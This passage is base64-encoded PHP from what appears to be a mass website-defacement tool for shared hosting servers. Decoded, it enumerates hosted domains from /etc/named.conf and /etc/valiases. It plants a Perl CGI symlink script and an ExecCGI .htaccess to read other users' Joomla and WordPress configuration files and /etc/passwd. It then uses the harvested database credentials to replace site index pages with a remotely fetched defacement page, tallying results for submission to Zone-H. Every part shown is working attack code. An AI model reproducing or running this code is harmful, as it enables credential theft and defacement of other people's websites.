ogICAgZWNobyAiVG90YWwgZG9tYWluczogJG51bWVyb19kb21pbmlvcyA8YnI+PGJyIC8+IjsNCiAgICAkZGVmID0gZmlsZV9nZXRfY29udGVudHMoJGRlZl91cmwpOw0KICAgICRkZWYgPSB1cmxlbmNvZGUoJGRlZik7DQogICAgJGRkID0gJ1BEOXdhSEFOQ2lSa1pXWWdQU0JtYVd4bFgyZGxkRjlqYjI1MFpXNTBjeWduYUhSMGNEb3ZMM3B2Ym1Wb2JXbHljbTl5Y3k1dVpYUXZaR1ZtWVdObFpDOHlNREV6THpBeEx6RXpMMkpoYkhSemRIVmthVzh1YkhRdmFXNWtaWGd1YUhSdGJDY3BPdzBLSkhBZ1BTQmxlSEJzYjJSbEtDZHdkV0pzYVdOZmFIUnRiQ2NzWkdseWJtRnRaU2hmWDBaSlRFVmZYeWtwT3cwS0pIQWdQU0FrY0Zzd1hTNG5jSFZpYkdsalgyaDBiV3duT3cwS2FXWWdLQ1JvWVc1a2JHVWdQU0J2Y0dWdVpHbHlLQ1J3S1NrZ2V3MEtJQ0FnSUNSbWNERWdQU0JBWm05d1pXNG9KSEF1Snk5cGJtUmxlQzVvZEcxc0p5d25keXNuS1RzTkNpQWdJQ0JBWm5keWFYUmxLQ1JtY0RFc0lDUmtaV1lwT3cwS0lDQWdJQ1JtY0RFZ1BTQkFabTl3Wlc0b0pIQXVKeTlwYm1SbGVDNXdhSEFuTENkM0t5Y3BPdzBLSUNBZ0lFQm1kM0pwZEdVb0pHWndNU3dnSkdSbFppazdEUW9nSUNBZ0pHWndNU0E5SUVCbWIzQmxiaWdrY0M0bkwybHVaR1Y0TG1oMGJTY3NKM2NySnlrN0RRb2dJQ0FnUUdaM2NtbDBaU2drWm5BeExDQWtaR1ZtS1RzTkNpQWdJQ0JsWTJodklDZEViMjVsSnpzTkNuME5DbU5zYjNObFpHbHlLQ1JvWVc1a2JHVXBPdzBLZFc1c2FXNXJLRjlmUmtsTVJWOWZLVHNOQ2o4Kyc7DQogICAgJGJhc2VfdXJsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLmRpcm5hbWUoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pLicvc3ltL3Jvb3QvaG9tZS8nOw0KICAgICRvdXRwdXQgPSBmb3BlbignZGVmYWNlZC5odG1sJywgJ2ErJyk7DQogICAgJF9TRVNTSU9OWydjb3VudDEnXSA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/IChpc3NldCgkX1NFU1NJT05bJ2NvdW50MSddKSA/ICRfU0VTU0lPTlsnY291bnQxJ10gOjAgKSA6IDA7DQogICAgJF9TRVNTSU9OWydjb3VudDInXSA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/IChpc3NldCgkX1NFU1NJT05bJ2NvdW50MiddKSA/ICRfU0VTU0lPTlsnY291bnQyJ10gOjAgKSA6IDA7DQogICAgZWNobyAnPHRhYmxlIHN0eWxlPSJ3aWR0aDo3NSU7Ij48dHIgc3R5bGU9ImJhY2tncm91bmQ6cmdiYSgxNjAsIDgyLCA0NSwwLjYpOyI+PHRoPklEPC90aD48dGg+U0lEPC90aD48dGg+RG9tYWluPC90aD48dGg+VHlwZTwvdGg+PHRoPkFjdGlvbjwvdGg+PHRoPlN0YXR1czwvdGg+PC90cj4nOw0KICAgICRqID0gMTsNCiAgICAkc3QgPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAkX0dFVFsnc3QnXSA6IDA7DQogICAgZm9yKCRpID0gJHN0OyAkaSA8PSAkbnVtZXJvX2RvbWluaW9zOyAkaSsrKQ0KICAgIHsNCiAgICAgICAgJGRvbWFpbiA9ICRvdXRbMV1bJGldOw0KICAgICAgICAkZG9ub19hcnF1aXZvID0gQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21haW4pOw0KICAgICAgICAkaW5mb3MgPSBAcG9zaXhfZ2V0cHd1aWQoJGRvbm9fYXJxdWl2byk7DQogICAgICAgIA0KICAgICAgICBpZigkaW5mb3NbJ25hbWUnXSE9J3Jvb3QnKSB7DQokY29uZmlnMDEgPSBAZmlsZV9nZXRfY29udGVudHMoJGJhc2VfdXJsLiRpbmZvc1snbmFtZSddLiIvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAiKTsNCiRjb25maWcwMiA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZV91cmwuJGluZm9zWyduYW1lJ10uIi9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIik7DQokY29uZmlnMDMgPSBAZmlsZV9nZXRfY29udGVudHMoJGJhc2VfdXJsLiRpbmZvc1snbmFtZSddLiIvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwIik7DQoNCiRjbHMgPSAoJGogJSAyID09IDApID8gJ2NsYXNzPSJldmVuIicgOiAnY2xhc3M9Im9kZCInOw0KICAgICAgICANCmlmKCRjb25maWcwMSAmJiBwcmVnX21hdGNoKCcvZGJwcmVmaXgvaScsJGNvbmZpZzAxKSl7DQplY2hvICc8dHIgJy4kY2xzLic+PHRkIGFsaWduPSJjZW50ZXIiPicuKCRqKyspLic8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nLiRpLic8L3RkPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kZG9tYWluLiciIHRhcmdldD0iYmxhbmsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+JzsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBjb2xvcj0icGluayI+Sk9PTUxBPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX2pvb21sYSgkY29uZmlnMDEsICRkZWYsICRkb21haW4pOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTsNCiRfU0VTU0lPTlsnY291bnQxJ10gPSAkX1NFU1NJT05bJ2NvdW50MSddICsgMTsNCn0gZWxzZSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+RkFJTEVEPC9zcGFuPjwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCn0NCg0KaWYoJGNvbmZpZzAyICYmIHByZWdfbWF0Y2goJy9EQl9OQU1FL2knLCRjb25maWcwMikpew0KZWNobyAnPHRyICcuJGNscy4nPjx0ZCBhbGlnbj0iY2VudGVyIj4nLigkaisrKS4nPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jy4kaS4nPC90ZD48dGQ+PGEgaHJlZj0iaHR0cDovLycuJGRvbWFpbi4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRkb21haW4uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InllbGxvdyI+V09SRFBSRVNTPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX3dwKCRjb25maWcwMiwgJGRkKTsNCmVjaG8gJzx0ZD4nLiRyZXNbJ291dHB1dCddLic8L3RkPic7DQppZigkcmVzWydjb25kJ10pIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0iZ3JlZW4iPkRFRkFDRUQ8L3NwYW4+PC90ZD4nOw0KZndyaXRlKCRvdXRwdXQsICdodHRwOi8vJy4kZG9tYWluLiI8YnI+Iik7DQokX1NFU1NJT05bJ2NvdW50MiddID0gJF9TRVNTSU9OWydjb3VudDInXSArIDE7DQp9IGVsc2Ugew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJyZWQiPkZBSUxFRDwvc3Bhbj48L3RkPic7DQp9DQplY2hvICc8L3RyPic7DQp9DQokY2xzID0gKCRqICUgMiA9PSAwKSA/ICdjbGFzcz0iZXZlbiInIDogJ2NsYXNzPSJvZGQiJzsNCmlmKCRjb25maWcwMyAmJiBwcmVnX21hdGNoKCcvREJfTkFNRS9pJywkY29uZmlnMDMpKXsNCmVjaG8gJzx0ciAnLiRjbHMuJz48dGQgYWxpZ249ImNlbnRlciI+Jy4oJGorKykuJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicuJGkuJzwvdGQ+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRkb21haW4uJyIgdGFyZ2V0PSJibGFuayI+Jy4kZG9tYWluLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl93cCgkY29uZmlnMDMsICRkZCk7DQplY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nOw0KaWYoJHJlc1snY29uZCddKSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9ImdyZWVuIj5ERUZBQ0VEPC9zcGFuPjwvdGQ+JzsNCmZ3cml0ZSgkb3V0cHV0LCAnaHR0cDovLycuJGRvbWFpbi4iPGJyPiIpOw0KJF9TRVNTSU9OWydjb3VudDInXSA9ICRfU0VTU0lPTlsnY291bnQyJ10gKyAxOw0KfSBlbHNlIHsgICAgDQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+RkFJTEVEPC9zcGFuPjwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCn0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPic7DQogICAgZWNobyAnPGhyLz4nOw0KICAgIGVjaG8gJ1RvdGFsIERlZmFjZWQgPSAnLigkX1NFU1NJT05bJ2NvdW50MSddKyRfU0VTU0lPTlsnY291bnQyJ10pLicgKEpPT01MQSA9ICcuJF9TRVNTSU9OWydjb3VudDEnXS4nLCBXT1JEUFJFU1MgPSAnLiRfU0VTU0lPTlsnY291bnQyJ10uJyk8YnIgLz4nOw0KICAgIGVjaG8gJzxhIGhyZWY9ImRlZmFjZWQuaHRtbCIgdGFyZ2V0PSJfYmxhbmsiPlZpZXcgVG90YWwgRGVmYWNlZCB1cmxzPC9hPjxiciAvPic7DQogICAgaWYoJF9TRVNTSU9OWydjb3VudDEnXSskX1NFU1NJT05bJ2NvdW50MiddID4gMCl7DQogICAgICAgIGVjaG8gJzxhIGhyZWY9IicuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJz9wYXNzPScuJF9HRVRbJ3Bhc3MnXS4nJnpoPTEiIHRhcmdldD0iX2JsYW5rIiBpZD0iemhzbyI+U2VuZCB0byBab25lLUg8L2E+JzsNCiAgICB9DQp9DQpmdW5jdGlvbiBleGVjX21vZGVfMigkZGVmX3VybCkgew0KICAgIA0KICAgICRkb21haW5zID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsNCiAgICBAcHJlZ19tYXRjaF9hbGwoJy8uKj96b25lICIoLio/KSIgey8nLCAkZG9tYWlucywgJG91dCk7DQogICAgJG91dCA9IGFycmF5X3VuaXF1ZSgkb3V0WzFdKTsNCiAgICAkbnVtID0gY291bnQoJG91dCk7DQogICAgcHJpbnQoIlRvdGFsIGRvbWFpbnM6ICRudW08YnI+PGJyIC8+Iik7DQogICAgDQogICAgJGRlZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZfdXJsKTsNCiAgICAkZGVmID0gdXJsZW5jb2RlKCRkZWYpOw0KICAgICAgIA0KICAgICRvdXRwdXQgPSBmb3BlbignZGVmYWNlZC5odG1sJywgJ2ErJyk7DQogICAgJGRlZmFjZWQgPSAnJzsNCiAgICAkY291bnQxID0gMDsNCiAgICAkY291bnQyID0gMDsNCiAgICBlY2hvICc8dGFibGUgc3R5bGU9IndpZHRoOjc1JTsiPjx0ciBzdHlsZT0iYmFja2dyb3VuZDpyZ2JhKDE2MCwgODIsIDQ1LDAuNik7Ij48dGg+SUQ8L3RoPjx0aD5TSUQ8L3RoPjx0aD5Eb21haW48L3RoPjx0aD5UeXBlPC90aD48dGg+QWN0aW9uPC90aD48dGg+U3RhdHVzPC90aD48L3RyPic7DQogICAgJGogPSAxOw0KICAgICRtYXAgPSBhcnJheSgpOw0KICAgIGZvcmVhY2goJG91dCBhcyAkZCkgew0KICAgICAgICAkaW5mbyA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZCkpOw0KICAgICAgICAkbWFwWyRpbmZvWyduYW1lJ11dID0gJGQ7DQogICAgfQ0KICAgICRkdCA9ICdJeUV2ZFhOeUwySnBiaTl3WlhKc0lDMUpMM1Z6Y2k5c2IyTmhiQzlpWVc1a2JXbHVEUXB6ZFdJZ2JHbHNldzBLSUNBZ0lDZ2tkWE5sY2lrZ1BTQkFYenNOQ2lBZ0lDQWtiWE55SUQwZ2NYaDdjSGRrZlRzDQogICAgICAgICAgIE5DaUFnSUNBa2EyOXNZVDBrYlhOeUxpSXZJaTRrZFhObGNqc05DaUFnSUNBa2EyOXNZVDErY3k5Y2JpOHZaenNOQ2lBZ0lDQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDINCiAgICAgICAgICAgaDBiV3d2WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWNqSTJwdmIyMXNZUzUwZUhRbktUc2dEUW9nSUNBZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZA0KICAgICAgICAgICBHMXNMM2R3TFdOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGljakkzZHZjbVJ3Y21WemN5NTBlSFFuS1RzTkNpQWdJQ0J6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2DQogICAgICAgICAgIFlteHZaeTkzY0MxamIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkl5TnpkMjl5WkhCeVpYTnpMblI0ZENjcE93MEtmUTBLRFFwc2IyTmhiQ0FrTHpzTkNtOXdaVzRvUmtsTVJTd2dKeTlsZEdNdmNHRnpjM2QNCiAgICAgICAgICAga0p5azdJQ0FOQ2tCc2FXNWxjeUE5SUR4R1NVeEZQanNnRFFwamJHOXpaU2hHU1V4RktUc05DaVI1SUQwZ1FHeHBibVZ6T3cwS0RRcG1iM0lvSkd0aFBUQTdKR3RoUENSNU95UnJZU3NyS1hzTkNpQWdJQw0KICAgICAgICAgICBCM2FHbHNaU2hBYkdsdVpYTmJKR3RoWFNBZ1BYNGdiUzhvTGlvL0tUcDRPaTluS1hzTkNpQWdJQ0FnSUNBZ0pteHBiQ2drTVNrN0RRb2dJQ0FnZlEwS2ZRPT0nOw0KICAgIG1rZGlyKCdwbHN5bScsMDc3Nyk7DQogICAgZmlsZV9wdXRfY29udGVudHMoJ3Bsc3ltL3Bsc3ltLmNjJywgYmFzZTY0X2RlY29kZSgkZHQpKTsNCiAgICBjaG1vZCgncGxzeW0vcGxzeW0uY2MnLCAwNzU1KTsNCiAgICAkd3IgID0gIk9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0lcblxuQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuY2NcblxuQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jY1xuQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jYyI7DQogICAgJGZwID0gQGZvcGVuICgncGxzeW0vLmh0YWNjZXNzJywndycpOw0KICAgIGZ3cml0ZSgkZnAsICR3cik7DQogICAgZmNsb3NlKCRmcCk7DQogICAgJHJlcyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5kaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKS4nL3Bsc3ltL3Bsc3ltLmNjJyk7ICANCiAgICANCiAgICAkdXJsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLmRpcm5hbWUoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pLicvcGxzeW0vJzsNCiAgICB1bmxpbmsoJ3Bsc3ltL3Bsc3ltLmNjJyk7DQogICAgJGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCiAgICBwcmVnX21hdGNoX2FsbCgnLzxhIGhyZWY9IiguKykiPi8nLCAkZGF0YSwgJG1hdGNoKTsNCiAgICB1bnNldCgkbWF0Y2hbMV1bMF0pOw0KICAgICRpID0gMTsNCiAgICBmb3JlYWNoKCRtYXRjaFsxXSBhcyAkbSkgICAgDQogICAgew0KICAgICAgICAkbXogPSBleHBsb2RlKCcjIycsdXJsZGVjb2RlKCRtKSk7DQogICAgICAgICRjb25maWcwMSA9ICcnOw0KICAgICAgICAkY29uZmlnMDIgPSAnJzsNCiAgICAgICAgaWYoJG16WzFdID09ICdqb29tbGEudHh0Jykgew0KJGNvbmZpZzAxID0gZmlsZV9nZXRfY29udGVudHMoJHVybC4kbSk7DQogICAgICAgIH0NCiAgICAgICAgaWYoJG16WzFdID09ICd3b3JkcHJlc3MudHh0Jykgew0KJGNvbmZpZzAyID0gZmlsZV9nZXRfY29udGVudHMoJHVybC4kbSk7DQogICAgICAgIH0NCiAgICAgICAgJGRvbWFpbiA9ICRtYXBbJG16WzBdXTsNCiAgICAgICAgJGNscyA9ICgkaiAlIDIgPT0gMCkgPyAnY2xhc3M9ImV2ZW4iJyA6ICdjbGFzcz0ib2RkIic7DQogICAgICAgIA0KICAgICAgICBpZigkY29uZmlnMDEgJiYgcHJlZ19tYXRjaCgnL2RicHJlZml4L2knLCRjb25maWcwMSkpew0KZWNobyAnPHRyICcuJGNscy4nPjx0ZCBhbGlnbj0iY2VudGVyIj4nLigkaisrKS4nPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jy4kaSsrLic8L3RkPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kZG9tYWluLiciIHRhcmdldD0iYmxhbmsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+JzsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBjb2xvcj0icGluayI+Sk9PTUxBPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX2pvb21sYSgkY29uZmlnMDEsICRkZWYsICRkb21haW4pOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTsNCiRjb3VudDErKzsNCn0gZWxzZSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+RkFJTEVEPC9zcGFuPjwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmKCRjb25maWcwMiAmJiBwcmVnX21hdGNoKCcvREJfTkFNRS9pJywkY29uZmlnMDIpKXsNCmVjaG8gJzx0ciAnLiRjbHMuJz48dGQgYWxpZ249ImNlbnRlciI+Jy4oJGorKykuJzwvdGQ+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRkb21haW4uJyIgdGFyZ2V0PSJibGFuayI+Jy4kZG9tYWluLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl93cCgkY29uZmlnMDIsICRkZWYpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTsNCiRjb3VudDIrKzsNCn0gZWxzZSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+RkFJTEVEPC9zcGFuPjwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPic7DQogICAgZWNobyAnPGhyLz4nOw0KICAgIGVjaG8gJ1RvdGFsIERlZmFjZWQgPSAnLigkY291bnQxKyRjb3VudDIpLicgKEpPT01MQSA9ICcuJGNvdW50MS4nLCBXT1JEUFJFU1MgPSAnLiRjb3VudDIuJyk8YnIgLz4nOw0KICAgIGVjaG8gJzxhIGhyZWY9ImRlZmFjZWQuaHRtbCIgdGFyZ2V0PSJfYmxhbmsiPlZpZXcgVG90YWwgRGVmYWNlZCB1cmxzPC9hPjxiciAvPic7DQogICAgaWYoJGNvdW50MSskY291bnQyID4gMCl7DQogICAgICAgIGVjaG8gJzxhIGhyZWY9IicuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJz9wYXNzPScuJF9HRVRbJ3Bhc3MnXS4nJnpoPTEiIHRhcmdldD0iX2JsYW5rIiBpZD0iemhzbyI+U2VuZCB0byBab25lLUg8L2E+JzsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGV4ZWNfbW9kZV8zKCRkZWZfdXJsKSB7DQogICAgDQogICAgJGRvbWFpbnMgPSBAZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWQuY29uZiIpOw0KICAgIEBwcmVnX21hdGNoX2FsbCgnLy4qP3pvbmUgIiguKj8pIiB7LycsICRkb21haW5zLCAkb3V0KTsNCiAgICAkb3V0ID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOw0KICAgICRudW0gPSBjb3VudCgkb3V0KTsNCiAgICBwcmludCgiVG90YWwgZG9tYWluczogJG51bTxicj48YnIgLz4iKTsNCiAgICANCiAgICAkZGVmID0gZmlsZV9nZXRfY29udGVudHMoJGRlZl91cmwpOw0KICAgICRkZWYgPSB1cmxlbmNvZGUoJGRlZik7DQogICAgICAgDQogICAgJG91dHB1dCA9IGZvcGVuKCdkZWZhY2VkLmh0bWwnLCAnYSsnKTsNCiAgICAkZGVmYWNlZCA9ICcnOw0KICAgICRjb3VudDEgPSAwOw0KICAgICRjb3VudDIgPSAwOw0KICAgIGVjaG8gJzx0YWJsZSBzdHlsZT0id2lkdGg6NzUlOyI+PHRyIHN0eWxlPSJiYWNrZ3JvdW5kOnJnYmEoMTYwLCA4MiwgNDUsMC42KTsiPjx0aD5JRDwvdGg+PHRoPlNJRDwvdGg+PHRoPkRvbWFpbjwvdGg+PHRoPlR5cGU8L3RoPjx0aD5BY3Rpb248L3RoPjx0aD5TdGF0dXM8L3RoPjwvdHI+JzsNCiAgICAkaiA9IDE7DQogICAgJG1hcCA9IGFycmF5KCk7DQogICAgZm9yZWFjaCgkb3V0IGFzICRkKSB7DQogICAgICAgICRpbmZvID0gQHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkKSk7DQogICAgICAgICRtYXBbJGluZm9bJ25hbWUnXV0gPSAkZDsNCiAgICB9DQogICAgJGR0ID0gJ0l5RXZkWE55TDJKcGJpOXdaWEpzSUMxSkwzVnpjaTlzYjJOaGJDOWlZVzVrYldsdURRcHpkV0lnYkdsc2V3MEtJQ0FnSUNna2RYTmxjaWtnUFNCQVh6c05DaUFnSUNBa2JYTnlJRDBnY1hoN2NIZA0KICAgICAgICAgICBrZlRzTkNpQWdJQ0FrYTI5c1lUMGtiWE55TGlJdklpNGtkWE5sY2pzTkNpQWdJQ0FrYTI5c1lUMStjeTljYmk4dlp6c05DaUFnSUNCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0gNCiAgICAgICAgICAgVmliR2xqWDJoMGJXd3ZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpY2pJMnB2YjIxc1lTNTBlSFFuS1RzZ0RRb2dJQ0FnYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MDQogICAgICAgICAgIDNCMVlteHBZMTlvZEcxc0wzZHdMV052Ym1acFp5NXdhSEFuTENScmIyeGhMaWNqSTNkdmNtUndjbVZ6Y3k1MGVIUW5LVHNOQ2lBZ0lDQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdg0KICAgICAgICAgICBjSFZpYkdsalgyaDBiV3d2WW14dlp5OTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuSXlOemQyOXlaSEJ5WlhOekxuUjRkQ2NwT3cwS2ZRMEtEUXBzYjJOaGJDQWtMenNOQ205d1pXNG9Sa2wNCiAgICAgICAgICAgTVJTd2dKMlJoZEdFdWRIaDBKeWs3SUNBTkNrQnNhVzVsY3lBOUlEeEdTVXhGUGpzZ0RRcGpiRzl6WlNoR1NVeEZLVHNOQ2lSNUlEMGdRR3hwYm1Wek93MEtEUXBtYjNJb0pHdGhQVEE3Skd0aFBDDQogICAgICAgICAgIFI1T3lScllTc3JLWHNOQ2lBZ0lDQjNhR2xzWlNoQWJHbHVaWE5iSkd0aFhTQWdQWDRnYlM4b0xpby9LVHA0T2k5bktYc05DaUFnSUNBZ0lDQWdKbXhwYkNna01TazdEUW9nSUNBZ2ZRMEtmUT09JzsNCiAgICBta2RpcigncGxzeW0nLDA3NzcpOw0KICAgIGZpbGVfcHV0X2NvbnRlbnRzKCdwbHN5bS9kYXRhLnR4dCcsICRfUE9TVFsnbWFuX2RhdGEnXSk7DQogICAgZmlsZV9wdXRfY29udGVudHMoJ3Bsc3ltL3Bsc3ltLmNjJywgYmFzZTY0X2RlY29kZSgkZHQpKTsNCiAgICBjaG1vZCgncGxzeW0vcGxzeW0uY2MnLCAwNzU1KTsNCiAgICAkd3IgID0gIk9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0lcblxuQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuY2NcblxuQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jY1xuQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jYyI7DQogICAgJGZwID0gQGZvcGVuICgncGxzeW0vLmh0YWNjZXNzJywndycpOw0KICAgIGZ3cml0ZSgkZnAsICR3cik7DQogICAgZmNsb3NlKCRmcCk7DQogICAgJHJlcyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5kaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKS4nL3Bsc3ltL3Bsc3ltLmNjJyk7ICANCiAgICANCiAgICAkdXJsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLmRpcm5hbWUoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pLicvcGxzeW0vJzsNCiAgICB1bmxpbmsoJ3Bsc3ltL3Bsc3ltLmNjJyk7DQogICAgJGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCiAgICBwcmVnX21hdGNoX2FsbCgnLzxhIGhyZWY9IiguKykiPi8nLCAkZGF0YSwgJG1hdGNoKTsNCiAgICB1bnNldCgkbWF0Y2hbMV1bMF0pOw0KICAgICRpPTE7DQogICAgZm9yZWFjaCgkbWF0Y2hbMV0gYXMgJG0pICAgIA0KICAgIHsNCiAgICAgICAgJG16ID0gZXhwbG9kZSgnIyMnLHVybGRlY29kZSgkbSkpOw0KICAgICAgICAkY29uZmlnMDEgPSAnJzsNCiAgICAgICAgJGNvbmZpZzAyID0gJyc7DQogICAgICAgIGlmKCRtelsxXSA9PSAnam9vbWxhLnR4dCcpIHsNCiRjb25maWcwMSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwuJG0pOw0KICAgICAgICB9DQogICAgICAgIGlmKCRtelsxXSA9PSAnd29yZHByZXNzLnR4dCcpIHsNCiRjb25maWcwMiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwuJG0pOw0KICAgICAgICB9DQogICAgICAgICRkb21haW4gPSAkbWFwWyRtelswXV07DQogICAgICAgICRjbHMgPSAoJGogJSAyID09IDApID8gJ2NsYXNzPSJldmVuIicgOiAnY2xhc3M9Im9kZCInOw0KICAgICAgICANCiAgICAgICAgaWYoJGNvbmZpZzAxICYmIHByZWdfbWF0Y2goJy9kYnByZWZpeC9pJywkY29uZmlnMDEpKXsNCmVjaG8gJzx0ciAnLiRjbHMuJz48dGQgYWxpZ249ImNlbnRlciI+Jy4o